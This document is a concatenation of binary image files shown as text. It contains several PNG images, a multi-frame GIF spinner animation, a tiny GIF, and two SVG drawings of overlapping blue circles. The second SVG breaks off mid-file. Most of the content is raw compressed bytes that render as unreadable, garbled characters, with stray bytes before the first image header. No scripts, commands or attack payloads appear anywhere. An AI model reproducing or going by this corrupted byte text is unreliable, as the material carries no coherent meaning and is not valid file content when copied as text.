bM##! ;PNG

   
IHDR   *      'Fds   PLTEN!寯	Z   BIDATWc`
B  ͵jjƭlt6UlΦz\U0 pGH@    IENDB`PNG

   
IHDR      {   YKǮ   $PLTE   "   tRNS *CQ}7n5   sIDAT8Oc` 
Ttu޻w;lAfO*2f~,|!Cxyw(BΆ0Wޅ*P5
m
Pɵ{bT.  =m4vw    IENDB`PNG

   
IHDR   
   
   ?   PLTEě:   tRNS @f    IDATxڅ1
  @O;D8Xb
 !s    IENDB`GIF89a( (  ӊ!NETSCAPE2.0   !	  ,    ( ( @x0`y'$Y0[4P
dƋ[䎣ky>@P 
1Q8#UUq1`2(`2
f!"'OvochSce"3B5#q%K*s>2"S
m$s ,z#}u"xϲN5{RG;
XZz^`	 !	  ,  $ $  xc(a	 %"]
,i
Q4Y3 MGW3 p@+!jBυ\Li Uhl͗<k0Y.cЦvz-uz56z4W\p$PxwN%HwVrGDLC)2|0+ŷ`')>	 !	  ,  $ $  xc(a	 %"]
,i
Q4YeG.qCEc̈)2XCs%paAQ;s]yI5">,-<54-{ 
pbhnRV^iCQjK)2y0Rmgȸ+D&s
I	 !	  ,  $ $  xa(a	!De[jCn]i<voj2P`^9m(*l*@.BIzZܖj:\b2ژ`617=%v5F>=>=65r 
kbibtB n1}8į60ɷ,(A	 !	  ,  $ $  x#(a	!De[jCn]i<vojoh  e<HLF<IC.(j9TSk&ocEVytTK{KG-P6DDb-65.-sxnQnpuBF*13W1,>'`
O}	 !	  ,  $ $  xa(a	!De[jCn]i<vojoh  e<cДsTh$A`!m$롘rW35|&G ]`f^mjG3-~#$J"%65.-py{_aEMd
rL]F*~1~81,P02='Mf	 !	  ,  $ $  xa(a	!De[jCn]iLvoj eCb1Ǡ)FI5<ɪ0(T;2Ƣ!K0N0 a$}o
q[lU
zr`F_%$Z-=65.xj;ajp
UF*B:,T01w(1`G*	 !	  ,  $ $  xc(a	 %"]
,i
Q4Y<h]ohq;bc̔B# U
dunY	{~0E[p$N!7b|x
I|Mo|wMB-<<54-f 
^}
HEM~
YLhU02v70+P/1˜')jq)	 !	  ,  $ $  xc(a	 %"]
,i
Q4Y<h]ohq;bc̔B# <G*8$BzEKa
`(r4Ehgosw,RH#h7Y bEO454etu
EMy
cLUFAD)2*,/0E'9r)	 !	  ,  $ $  xc(a	 %"]
,i
Q4Y<h]ohq;bc̔B# <G*8\Ol]::ѭ
M#
#n{}tLB>mkp+"54be}`H>MR1hnFAP)2h70|4/1d')v)	 !	  ,  $ $  xc(a	 %"]
,i
Q4Y<h]ohq;bc̔B# <G*8\"nE\o-e $@]{cgtUMq`N"qF#a-e$`#L"
m}~cBJ)2hx0
>')v	 !	  ,  $ $  xc(a	 %"]
,i
Q4Y<h]ohq;bc̔B# <G*8\"$ޛ6}t[GvhMbUxIn`
mnRIn@~#UF
e]`H{.M{LnP2h}0+d'))	 !	  ,  $ $  xa(a	!De[jCn]i<vojoh  e<cДB# 2G*8\"$nC"nR]#kMmke{bPmZ`P}Mh`x"cLBqF*h13h81502,K(̿s	 !	  ,  $ $  x#(a	!De[jCn]i<vojoh  e<cДB# <2G*8\"$n;ec
z$kFm#kG
bhe$bJR]&
U
"`c`zLPGB#
"wnA3h81,P02d(*v	 !	  ,  $ $  xa(a	!De[jCn]i<vojoh  e<cДB# <2G*8\"$n;eٻ.nb$hGz$c
g-CRbe]U`
m"`=$LJM%
QMUYBU?*hF13h8ƨ50#'vG*	 !	  ,  $ $  xa(a	!De[jCn]iLvoj eCb1Ǡ)FI5<jjCkd#
v}7Q"Q=߲]-l{.d8
36cpn$f^jh-a;UL-\JG$a>7`#5/
BoF11,T02[(*"	 !	  ,  $ $  xc(a	 %"]
,i
Q4Y<h]ohq;bc̔B# U
dun؃d#
~{P"M=ϲ[,$_{4cpMB4f^DM5aHREM=a
,
n<
YC@h..EKq02i7+P/#&Ѷt	 !	  ,  $ $  xc(a	 %"]
,i
Q4Y<h]ohq;bc̔B# <G*8\"$ޛn;eٷ.~,$^z=b<
]CR
HCMm,L5e`K#<@NB>4&%GP70+P/1d')s	 !	  ,  $ $  xc(a	 %"]
,i
Q4Y<h]ohq;bc̔B# <G*8\"$ޛn;eٷ.~,$#b4&
]d@
H=`M-M
m<R1#LB,FA'2h70Ƙ+K')v	 !	  ,  $ $  xc(a	 %"]
,i
Q4Y<h]ohq;bc̔B# <G*8\"$ޛn;eٷ.~,$JziaK'2Pe]4@m=`H5R14L,`
b-
#6gdMB%GP70+ʎdAs	 !	  ,  $ $  xc(a	 %"]
,i
Q4Y<h]ohq;bc̔B# <G*8\"$ޛn;eٷ.~,$upZb#F
2Ue]-@zC`Hm[#R<`>Q$4LBd
%KP70+P/1d')v	 !	  ,  $ $  xa(a	!De[jCn]i<vojoh  e<cДB# 2G*8\"$n;eٻ.~-osc68
3cb"R
mJe]%GgU`MUL#$o`
dbPF*Bk1c1d,K(˾s	 !	  ,  $ $  x#(a	!De[jCn]i<vojoh  e<cДB# <2G*8\"$n;eٻ.6bZ.`fzZ.ia/mPe]#RV
Y
DLGCCX$[BqF*h13h81,-'Mv	 !	  ,  $ $  xa(a	!De[jCn]i<vojoh  e<cДB# <2G*8\"$n;eq	0mh-8Bh/Mk7bia#`
Pe]"RD`<cLEG^
pcxnF*G3+601$'v	 !	  ,  $ $  xa(a	!De[jCn]iLvoj eCb1Ǡ)FI5<jjCkd#
v}7Q"Q!%and$Q2{_|cTZCUf^"
Ua;#~T\yV
lXyrF*i:D81,
/(̿t	 !	  ,  $ $  xc(a	 %"]
,i
Q4Y<h]ohq;bc̔B# U
dun؃d#
~{P"MHL^2u|@_%nd"R^i_#[IBlf>daH}.Mao}Loc[0d70+P/1e')w	 !	  ,  $ $  xc(a	 %"]
,i
Q4Y<h]ohq;bc̔B# <G*8\",]2zel`zv@
c"^"RSt#Bn6cb{ze]$`H|Mzh}nFAP)yc70+|')v)	 !	  ,  $ $  xc(a	 %"]
,i
Q4Y<h]ohq;bc̔B# <G*8>qtĵ]ODMk-
{}h%B#o+=<wezMmR1xvFAC)2h70|.p')u)	 !	  ,  $ $  xc(a	 %"]
,i
Q4Y<h]ohq;bc̔B# <G*8ld<z5 IsJD"@
^}y,L
OyF2bE<54e]|
H>MwBlc70+P/1d')k)	 !	  ,  $ $  xc(a	 %"]
,i
Q4Y<h]ohq;bc̔B# <G]Z p	-XojH#v
xa#g
rs>g2s=4C~-5Y>
cH>Mo
|LiFAZ)j70+P/1<&Mr	 !	  ,  $ $  xa(a	!De[jCn]i<vojoh  e<cДB# IC0xVGLutu~ITF94'}73fn%eyg%gn#5K|c.5t b
aZ
}n
BF*1381,P02='M	 !	  ,  $ $  x#(a	!De[jCn]i<vojoh  e<cFUhHE`2<IASrWIv74Ҝ>Jb
yf^u#8\R-kX>j=65.-}wipLZ{lBYAS*31Z502,K(*\Q	 !	  ,  $ $  xa(a	!De[jCn]i<vojoh  e< ! 9mLB#@
$Y=pI{\>0h	}z".kz6wzMXX%~OW-5. 
sd`mnRqzBF*1381,='Qb_	 !	  ,  $ $  xa(a	!De[jCn]iLvojoH lX	0 Ǡ
hԀ}`+r*v-l*m03+ppgzl=tFtlld56=65.w|pugnoU]h
BrI13o60ɸ,>'j	 !	  ,  $ $  xc(a	 %"]
,i
Q4YQ=$>C؍$	1f.6YhZ7Y*-L*Ƭbl6;Y$tl"=Dwx{6p$-jfhJVfanHy)270+>&Vп	 !  ,  $ $  xc(a	 %"]
,i
Q4Yس MG
0Vl6c̊7ZI{&RUѭ	k
@>$$h-4554-v~m_dklt
|fG
DKC)270+/1R&UP	 ;PNG

   
IHDR         o?  IDAT(ϕRJQݟ"2vT?DHGDQ2ޝض
evιgFqp<7"{8?I:4$$!!a)~^~G点RE]ZiwjhgaX'Ewzm Hvӹ?֣#lL]ƵJL-jEԢjcW@Bۆ(}9pcz-'ի_*E5K_+_#U*{rT*dYhMeX	-ޘs}
W[`ip>!л{)P;v-c]k
}ll|p3
H@@P8/$\~>y"f38?`-7STL&4ۄn˽N&,aӑ83c NyH` !hEբKd?]1w=p
|Y/`To	    IENDB`<svg width="181" height="180" viewBox="0 0 181 180" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><g fill="#FFF" stroke-miterlimit="10" stroke-width="1.2"><g stroke="#D8DEF8"><circle cx="143.2" cy="78.9" r="35.8"/><circle cx="139.9" cy="68.5" r="35.8"/><circle cx="134.6" cy="59.2" r="35.8"/><circle cx="127.7" cy="51.1" r="35.8"/><circle cx="119.3" cy="44.6" r="35.8"/><circle cx="109.7" cy="39.8" r="35.8"/><circle cx="99.1" cy="37" r="35.8"/><circle cx="87.8" cy="36.4" r="35.8"/><circle cx="76.8" cy="38.1" r="35.8"/><circle cx="66.7" cy="41.9" r="35.8"/><circle cx="57.6" cy="47.6" r="35.8"/><circle cx="49.9" cy="55" r="35.8"/><circle cx="43.8" cy="63.7" r="35.8"/><circle cx="39.4" cy="73.6" r="35.8"/><circle cx="37.2" cy="84.3" r="35.8"/><circle cx="37.2" cy="95.7" r="35.8"/><circle cx="39.5" cy="106.5" r="35.8"/><circle cx="43.8" cy="116.4" r="35.8"/><circle cx="49.9" cy="125.1" r="35.8"/><circle cx="57.6" cy="132.4" r="35.8"/><circle cx="66.7" cy="138.1" r="35.8"/><circle cx="76.9" cy="141.9" r="35.8"/></g><circle cx="87.8" cy="143.7" r="35.8" stroke="#C5CDF4"/><circle cx="99.1" cy="143.1" r="35.8" stroke="#B1BCF1"/><circle cx="109.7" cy="140.3" r="35.8" stroke="#9EAAEE"/><circle cx="119.3" cy="135.5" r="35.8" stroke="#8C9AEC"/><circle cx="127.7" cy="128.9" r="35.8" stroke="#7789E9"/><g stroke="#3858E9"><circle cx="134.9" cy="120.9" r="35.8"/><circle cx="140.2" cy="111.5" r="35.8"/><circle cx="143.2" cy="101.2" r="35.8"/><circle cx="144.4" cy="89.8" r="35.8"/><path d="m154.5 74.8-10.1 10.1-10.1-10.1m25.3 25.3L149.4 90l10.1-10.1m-30.3 0L139.3 90l-10.1 10.1m5 5.1 10.1-10.1 10.1 10.1"/><circle cx="90.6" cy="90" r="17.9"/><path d="M76.9 101.5a14.3 14.3 0 0 1 27.4 0M90.6 91.4c4 0 7.2-3.2 7.2-7.2S94.6 77 90.6 77s-7.2 3.2-7.2 7.2 3.3 7.2 7.2 7.2z"/></g></g></svg>PNG

   
IHDR     @   )    PLTELiq"	<58sssqpm   ttt
tsqxxv0?bsrnxxx   );R.=Qlll<ooo<3$nnnttt~x`)<J:562;3tsq
.@hhhh!GG
]]]7?7%3K{;< G51@-2OH&tttcccLE,,2bbb%MM}}}yyy5ErQ/G4,:_ddbUN*hhhN##\L/:&#"IIGEVIG4Ds$KK6UREjjjvvvT40K[]\UKKKJ6!ZaV~~~膆sssQ+N׊F@$lllyyy$.JD*.Z/G܏9B8JQ<=!Q;,绻𝝝BBCخi':Qߎ}]zؿ;&+jAߝ]m8L`v˭TsM{yO^xЕeҩ߯[Z6x[k{OOuRjұŕ\~B8$ߖu<QIJ+W:Tkx=N{ĚűýⴴA~׹kiujX}Ts<eFaʽyabťo_]Яڛ6Hcwn檁{[x͘s/`sׇfwdNNא   ZtRNS <*
2 A@>*m5KXm*RRGUӕda枵Vٖet
  IDATxkPI'H AAD彀<
yJYj Tx@2V . (. "(
<뺷wIPu}R̯wa|o/a˗hOkk>!уmj_4]Z_5,㿇mB
P.Rr
bXI	_"f-ӵ
E4pzLLz84w뛺S\37dB7:^?DmQ-*հjH$5g%D4\j/-psssKVb.%%.ƄHp.ӓYvvMz+zhbMH3ݒ٤Cx>=H_|qT
]HXd|k
H^HE.cNB7P&dKBZII	,4X^/!)QXx#oEuըT5]Q	*BF^tص)ECl 
Ww0~%iqkHu]T
+ǯHp	M$EgH\/ˤex7"/y84I)![rB˴&'1
 =Q5 TZ]mhh8&zf؝iǁZ
%/~v:Ǻ3uu`
yPK k&?4<zT=.c8>FOQhwRt)jzzj(Da-wڎCSP4yø/Be%qUpyy}nB 
ۅHa
>ϻO/qM^)'4XXX>{zvg%s^OkJC0PS#71 	44w4P/Kp4;0>(HO"=+U`A٨C<	.XC:;`

"/I]i5V'/,Z?ݺ.`YvBYeoQD;'t3; kb,X-4 |W Bg?iPP VA|%*ְ R԰O%%0ux3wd н{CmtUsny:L VJ'IC+%1?.TU
`[/J}Eh PQ8~Je%d- TWAjPI)u6yAXﵢkFie2|Z'a!iS-,Q5Mӕ=}#JRY9hS4Pa
WA4T\%5,;EzhhGjj`
}8W[[[}-B'|&0ZIZu%Z&&drU=[Fo_4^fx(k'''_kĮOIRկ4$	@jx@F9K)T_j
r9Bqq?~Ci
	"^Q+ %NCFQk򿎠+++|O#jk1a!d;iY{Y]0!ꜜ[r`
C̝ǈˋ	phhOLAHɸWJh
ӧ	
OCeÍJ$Om<;Sr,W,?j
]]Y@lmq%.*P
Tii
QWU4Jo8 Nv
(
|Pd|Ǎ'N/T
mmm C(;;ՌjNgJhw8z),*,-*x *q22\gBuؼ`{[5"ot{fp83T_p/p\ng<К	+˞(ZKK[y@)ˀ
fȌ :a759sw&ޗt90Y}f+=.9:lϐOps+T=l.P9uuh{d
]Ot8ΏHi4,AHR?]=n3yX綁oMkaJ$!պ4>~]j
iZ-ܼl١~c+{ɒlftSrR}}?77?K
zЍKV%mi+7&F}ô$Sbgh\!qkڂǫ]k!,۾}ͬS.;33՚xqFN1M+w	W$%''Q!obaEhs2fQΊH8TĠExFCxVZf$	))"6d)Q'`,CfA߾ՠ͛73J53FRAJRRV~0Ay@DRRFV/oRo2U+JLLܟai|`!RfdR	%mٶmKNC2*lmת[;VyeE;G׾Da\M"wWko55iZKe!C!ДRh#YXH	¶߅O[wFJ[8!aC4VyߛesڼɅUh:2*_܎!ˋS㶀aTU!0ձe&"8a2((/Xwqv'I& L[[ _A}U"3'2?L{Ic`0k&oTJDMIt/2դLsc8H,XR/$`=ϲ](0LF 6e\G00L א`QYStjl)$[Eh<<lq%PJ9݆A@,̌Y(lф$ vx1n1p<Άq6eC_pd0	Pgp(Rj8ϱnJ~"-h[vW9!< $=gF;ϝfnJ
N6eT7%Mvl0L\*1zZr p'4eR>کyr'Z
ޙ6;SW+/b
I16>]ăd2}m\
ZN044sFXcF{.b@nc/MDCǬ8ܐN$%X}bÐK0([ӡL`A $ڣli˦n^ ޢ.z/M
E}Xf G(|ԉ2Mق{4(ZS):,9Z1 n,)axBfP+vzu[Ym?D$18̈́D7kO(N]	Ľ!0eg%b8u3u^lpIVĐ2o`I118$@>{V0.7geJ,:%\-ʦ-%nfҼ	$K~8"{0@	e'#ǀUW>or똿)b(n )
^ }=lo VT`<(L`uG9B749*Uܐ|<ɍo*ۺa(UeJr@َ]0yвHp1lPǰm5-_Jh]apտ{uHkX刱?pĠ^JĠ_Ua;90t5B=\njX˲{M^
,t?
CD'ՔOB7%AZ5IJ,,(TXUo8Ʊa/?PJ)E۷O_~t%RIV`pPC,t',f<{Fй*/tW7|T
uwS4gǏO.{R<Q-M^7Ooa`Y?Satviviv'?\I_    IENDB`GIF89a   %/2$.1#-0         !  ,      @&H20ʨy	BXXbلȼ$ ;<svg width="291" height="290" viewBox="0 0 291 290" fill="none" xmlns="http://www.w3.org/2000/svg">
<g clip-path="url(#a)">
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M1.436 145c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.617-25.63-57.246-57.247-57.246-31.616 0-57.246 25.629-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M3.008 128.532c0 31.616 25.63 57.246 57.247 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.617 0-57.247 25.63-57.247 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M7.67 112.658c0 31.616 25.63 57.246 57.245 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M15.247 97.956c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.617-25.63-57.247-57.247-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M25.473 84.953c0 31.616 25.63 57.246 57.247 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M37.976 74.126c0 31.616 25.63 57.247 57.246 57.247 31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M52.303 65.85c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M67.938 60.444c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M84.314 58.084c0 31.617 25.63 57.247 57.246 57.247 31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M100.836 58.877c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M116.904 62.774c0 31.617 25.63 57.247 57.247 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M131.961 69.65c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M145.432 79.242c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M156.847 91.21c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M165.79 105.128c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M171.934 120.485c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.617-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M175.066 136.733c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.617-25.63-57.247-57.247-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M175.066 153.268c0 31.617 25.63 57.247 57.246 57.247 31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M171.934 169.516c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M165.79 184.873c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M156.847 198.79c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M145.432 210.759c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M131.961 220.359c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M116.904 227.227c0 31.616 25.63 57.246 57.247 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.617 0-57.247 25.63-57.247 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M100.836 231.124c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M84.314 231.917c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M67.938 229.565c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M52.303 224.151c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M37.976 215.883c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.617-25.63-57.247-57.246-57.247-31.617 0-57.247 25.63-57.247 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M25.473 205.048c0 31.616 25.63 57.246 57.247 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M15.247 192.045c0 31.617 25.63 57.247 57.246 57.247 31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M7.67 177.343c0 31.616 25.63 57.246 57.245 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M3.008 161.469c0 31.617 25.63 57.247 57.247 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M1.436 145c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.617-25.63-57.246-57.247-57.246-31.616 0-57.246 25.629-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M3.008 128.532c0 31.616 25.63 57.246 57.247 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.617 0-57.247 25.63-57.247 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M7.67 112.658c0 31.616 25.63 57.246 57.245 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M15.247 97.956c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.617-25.63-57.247-57.247-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M25.473 84.953c0 31.616 25.63 57.246 57.247 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M37.976 74.126c0 31.616 25.63 57.247 57.246 57.247 31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M52.303 65.85c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M67.938 60.444c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M84.314 58.084c0 31.617 25.63 57.247 57.246 57.247 31.617 0 57.247-25.63 57.247-57.247 0-31.616-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M100.836 58.877c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.617-25.63-57.247-57.246-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M116.904 62.774c0 31.617 25.63 57.247 57.247 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.617 0-57.247 25.63-57.247 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M131.961 69.65c0 31.616 25.63 57.246 57.246 57.246 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M145.432 79.242c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M156.847 91.21c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.246 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M165.79 105.128c0 31.617 25.63 57.247 57.246 57.247 31.616 0 57.246-25.63 57.246-57.247 0-31.616-25.63-57.246-57.246-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M171.934 120.485c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.617-25.63-57.246-57.247-57.246-31.616 0-57.246 25.63-57.246 57.246Z"/>
<path fill="#fff" stroke="#3858E9" stroke-miterlimit="10" stroke-width="1.2" d="M175.066 136.733c0 31.616 25.63 57.246 57.246 57.246 31.617 0 57.247-25.63 57.247-57.246 0-31.617-25.63-57.247-57.247-57.247-31.616 0-57.246 25.63-57.246 57.247Z"/>
